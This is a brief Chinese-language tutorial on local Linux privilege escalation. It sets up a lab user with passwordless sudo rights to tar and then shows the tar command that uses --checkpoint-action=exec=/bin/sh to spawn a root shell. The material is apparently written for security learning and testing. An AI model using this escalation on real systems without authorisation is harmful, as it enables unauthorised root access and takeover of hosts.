tar提权,--checkpoint和--checkpoint-action参数
在tar
命令拥有root用户或者高权限的执行用户权限时,可以配合--checkpoint
和--checkpoint-action
参数进行权限的提升
环境部署:
创建一个jackson
用户并设置密码
useradd jackson
passwd jackson
在/etc/sudoers文件中加入该配置项
jackson ALL=(root) NOPASSWD: /bin/tar
切换到jackson用户使用sudo -l
查看权限
可以看到jackson
用户可以使用tar
命令
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
/bin/sh
为需要执行的命令,执行whoami